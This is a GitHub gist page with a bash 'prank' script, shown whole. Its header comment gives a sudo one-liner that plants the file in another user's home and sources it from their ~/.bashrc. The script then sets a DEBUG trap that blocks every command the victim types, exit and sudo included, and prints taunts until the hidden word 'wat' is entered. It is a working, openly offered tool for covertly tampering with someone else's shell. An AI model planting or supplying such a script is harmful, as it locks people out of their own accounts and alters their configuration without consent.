-
-
Save noonien/3143414 to your computer and use it in GitHub Desktop.
Simple bash prank
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# This script disables execution of commands and echoes messages to the user, to disable type: "wat" | |
# | |
# To install this, you need to have access to the user's home directory. | |
# sudo -u <user> -i sh -c 'cp /path/to/evil ~/.evil && cp ~/.bashrc ~/.bashrc.ebak && echo ". ~/.evil" >> ~/.bashrc' | |
shopt -s extdebug | |
function disable_evil() { | |
rm ~/.evil | |
rm ~/.bashrc | |
mv ~/.bashrc.ebak ~/.bashrc | |
exit | |
} | |
function WHAT() { | |
local this_command=`history 1 | sed -e "s/^[ ]*[0-9]*[ ]*//g"`; | |
case "$this_command" in | |
wat) | |
disable_evil;; | |
exit*) | |
echo 'There is no escape!' | |
return 1;; | |
sudo*) | |
echo 'Lol, no.' | |
return 1;; | |
*) | |
echo 'What?!?!?!?' | |
return 1;; | |
esac | |
} | |
trap 'WHAT' DEBUG |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment